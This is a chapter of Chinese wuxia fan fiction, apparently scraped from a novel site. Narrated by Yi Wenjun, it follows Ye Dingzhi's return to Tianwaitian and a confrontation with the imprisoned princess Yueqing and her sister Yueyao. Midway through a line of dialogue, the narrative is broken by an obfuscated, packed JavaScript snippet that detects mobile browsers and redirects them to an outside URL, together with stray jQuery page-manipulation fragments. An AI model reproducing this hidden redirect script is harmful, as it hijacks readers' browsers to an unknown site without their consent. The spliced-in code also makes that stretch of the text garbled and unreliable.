“莫要再喊,萱妃娘娘!”


    话音刚落,叶鼎之生生吐出一口鲜血。我连忙上前去扶他,顺势摸了他的脉搏。与百里东君大战时,他也受了内伤。


    更何况,周身的魔气一点点吞噬着他的修为,最终他会力竭而亡,成为虚念功的炼炉。


    “爹爹,爹爹你怎么了?”


    远处,一个小孩从寒冰里跑了出来,直接扑向了叶鼎之。


    叶鼎之强撑着站起身来,小孩身后跟着的正是魔教左右护法,白发仙和紫衣侯。


    江湖传言白发仙和紫衣侯是天外天的天境高手,却没想到是两个十分年轻的男子。


    白发仙上前搀扶叶鼎之,紫衣侯却看向了玥瑶。


    “玥瑶公主,您怎么又回来了。”


    他的语气里满是担心,担心玥瑶是被叶鼎之绑回来的。


    叶鼎之只是微微瞥了他一眼,他便退了几步,躬身道:


    “宗主,您回来了。”


    此时,叶鼎之抱起了那个看上去四五岁的孩子,对我道:


    “文君,这是安世。虽然长得不像小时候了,但他天天喊着想你。”


    我能不记得他吗?那是我仅有的带孩子的一点经验,将几寸长的孩子养得满地跑。


    甚是感慨,小安世都这么大了。


    “安世,叫娘亲!”


    小安世害羞地躲在叶鼎之怀里,我凑过去逗他,他露出一脸茫然。


    叶鼎之继续道:


    “叫娘亲。”


    小孩这才扭扭捏捏喊了一声:


    “娘亲……”


    又是这样,我记得回天启时见到萧羽也是这副表情。


    察觉到我异常的情绪,叶鼎之揽住我的肩,轻声道:


    “安世太久没见到你了,有些生疏很正常。”


    我笑了笑,道:


    “没关系,我们还有很多相处的时间。”


    但愿如此,我心里总是不安的。自琅琊王身死南决,琅琊军谋反,叶鼎之攻入天启,这一系列的事情变数太快。


    我轻轻抚摸着小安世的脸颊,希望一切都来得及。


    “走吧!”


    天外天,朔风如刀,割过脸颊,卷着漫天大雪肆意狂舞。


    脚踩在积雪上发出“咯吱咯吱”的声响,在死寂的天地间格外清晰。


    眼前的幽径被冰雪严严实实包裹,两旁的枯树枝丫上挂着沉甸甸的冰棱。


    寒风裹挟着雪花灌进衣领,冻得我脊背发凉。叶鼎之将孩子抱在怀里,挡在我身前前行。


    不知走了多久,一座结了三尺冰的建筑轮廓在纷飞大雪中若隐若现。


    牌匾上赫然写着:廊玥福地。


    白发仙和紫衣侯抱着孩子离开,叶鼎之看向了跟在身后的玥瑶。


    玥瑶情绪泛起涟漪,却最终被压了下去。


    “我找了那么久,玥卿居然被你关在这里?”


    面对玥瑶的质问,叶鼎之抱手冷笑道:


    “这廊玥福地曾经是北厥玥氏的机密之地,但如今,没有我的准许,你们北厥玥氏进不了这个门。”


    说罢,他伸出手掌,体内的真气附着在冰门之上。随后,齿轮转动,门缓缓打开。


    门内还是一望无际的冰雪,叶鼎之带着我们来到了一处暗阁。


    阁门半掩,缝隙中透出一丝昏黄的光,推开门后,硕大的铁链里正拴着一个身着紫衣的人。


    那是,玥卿。


    等到玥瑶看清了妹妹的样子,遂立马扑了过去。


    “卿儿!你没事吧,卿儿!”


    玥卿终于睁开眼,见到了姐姐。她先是激动时分,锁链被挣得作响。随后像是想起了什么,又冷淡了下去。


    “你回来做什么?”


    玥卿不再看担心自己的姐姐,而是将脸撇向一侧,对叶鼎之道:


    “叶鼎之,一切都是我的主意,你杀了我吧。”


    面对求死之人,叶鼎之只是悠悠走上前,沉声道:


    “钟飞离死前说,这一切都是他和无相使做的局,与你无关。可我叶鼎之不是傻子,你以为你们做的事情,我会不知道吗?将你锁在这廊玥福地,我会让你生不如死。”


    “叶鼎之!”


    玥瑶护在玥卿身前,大喊道:


    “你放了她,我愿意替她留在天外天。”


    听罢此话,叶鼎之笑出了声,拍手笑道:


    “好一出姐妹情深义重,可惜了,百里东君见不到你舍身救妹妹的场景了。”


    玥瑶仍然挡在玥卿身前,而身后的玥卿却冷笑道:


    “姐姐,若百里东君来救你,你就跟他走吧。”


    玥卿眼角含着泪,却装作一副不愿见到自家姐姐的样子。


    玥瑶摇了摇头,急忙道:


    “卿儿,不。”


    玥卿咬牙继续道:


    “那年你说你去北离找天生武脉之人,我恨你遇见了百里东君就背弃了天外天。姐姐,若不是你爱上了那个天生武脉,北厥复国早就指日可待了。”


    她将一切罪责都推给了玥瑶,这样的妹妹,就应该从小打到大。


    “还有你,这个蛇蝎心肠的女人。”


    她看向我时,眼底的恨快要溢了出来。


    我动了动手指,被铁链锁着的玥卿疼痛难忍。叶鼎之和玥瑶都不知道到底发生了什么,我上前一步,道:


    “当年她上门找茬的时候,中了我的蛇蛊。”


    叶鼎之看向了我,眼神里闪过一丝疑虑却又立马被淡定覆盖,只听他道:


    “我发现她体内有一股神秘的奇毒,此毒随血液漫游周身,渗透进五脏六腑的各个角落。当我试图逼成这股奇毒时,却险些被反噬,没想到这就是文君你下的蛇蛊。”


    他还想着为玥卿解毒,我一个眼神扫过去,叶鼎之不敢再多言,只得解释道:


    “文君,我将她锁在这廊玥福地,是希望往后仍然有用她之处。”


    别解释,越描越黑。我连忙打断他的解释,看向了一旁的玥瑶。


    此时的玥瑶紧握双拳,含恨而立,道:


    “天启城里的人都小看了你,你居然养了蛇蛊!”


    此时此刻,她的心定是被浓稠的愤懑填满,每一寸思绪都被仇恨狠狠揉搓。


    对我的仇恨,像是从心底破土而出的荆棘,疯狂生长,尖锐的刺扎破理智的防线。


    恨意顺着血管蔓延至全身,让玥瑶的目光都染上了一层冷厉的霜色。


    我冷笑一声,对她道:


    “我知道,你们会恨我,怨我,恨不得将我碎尸万段。但你们天外天算计


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100859|150885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叶鼎之和易文君的时候,可曾想过会有这一天?为了复国,你们无恶不作,视他人如草芥,如工具。可想过被你们利用过的每一个人都是活生生的生命?”


    她们所做的事情,又和萧若瑾有什么区别。


    玥卿挣着铁链,怒道:


    “易文君,你见异思迁,朝三暮四,不知廉耻,你有什么资格在这里审判我们!”


    玥卿的一番话又惹怒了叶鼎之,叶鼎之正要拔剑时却被我制止。


    我大笑出声,决定揭穿她的秘密:


    “你说得北厥复国很轻松一样,那百里东君就能愿意帮助你父亲练虚念功吗?更何况,你姐姐着手复国一事时,你在做什么?”


    这是刚才白发仙和紫衣侯告诉我的,他们说曾经的二公主嫌弃天外天的气候太干冷,所以四处游山玩水,逍遥自在得很。


    “叶鼎之在姑苏的茅庐里住了五年,玥卿公主在姑苏守了五年。期间,你对自己的棋子暗生情愫,又因为我的到来而心生嫉妒。不禁多次上门挑衅,我这才对你下了蛇蛊,你可还记得?”


    这些是玥瑶全然不知道的事情,揭露过往的不堪,让玥卿明白这才是所谓的“不知廉耻。”


    准确来讲,喜欢一个人不错,错在这两姐妹都喜欢上了自己手中的棋子。


    此时的玥卿难掩羞涩,脸色却又十分难看,吼道:


    “你住嘴!”


    “抱歉,我一时兴起,不吐不快。”


    话音刚落,叶鼎之连忙打断我的话,道:


    “文君,此地寒冷,先随我去休息一下吧。”


    他的神情里全是担忧,看向玥卿和玥瑶时却凶煞异常。


    我长叹一口气,看着玥瑶和玥卿,问他:


    “她们二人,该如何处置?”


    叶鼎之招进紫衣侯,道:


    “先将二人关起来,严加看守。”


    紫衣侯领了指令,叶鼎之带着我离开了这个地方。


    打那样的嘴仗不尽兴,不舒爽。


    叶鼎之却叫住我,宽慰道:


    “文君,我们走到这一步,已经没有可以回头的路了,天外天和北离的这场仗是难免的。我想,先送你和安世去南决,我会在那里为你们安排好一切。”


    我转身看向他,见他眉间有化不开的愁绪。


    我刚来到天外天,他就要赶我走。


    “不,你送安世离开,我令有打算。”


    面对我的拒绝,叶鼎之像是生气了一般,握住了我的手腕,怒道:


    “事到如今,你还想做什么?”


    他待我总是温柔非常,或许是被玥卿和玥瑶气得够呛,这还是我头一次见到他怒火冲天地跟我讲话。


    我愣愣看着他,霎时,他又恢复了平静,连忙向我道歉:


    “抱歉,文君。”


    那是他体内的魔气在作祟,导致他的情绪异常。


    但这些,他从未在书信里和我提起过,总是一个人默默承担着一切。


    “云哥,你我本是同林鸟,大难临头何必各自单飞?”


    叶鼎之汗颜,遂将我拥在怀里,轻声说着:


    “是我的错,我不应该说那样的话。文君,我们应该共同进退的。”


    在他的喃喃低语中,我有了一个全新的计划……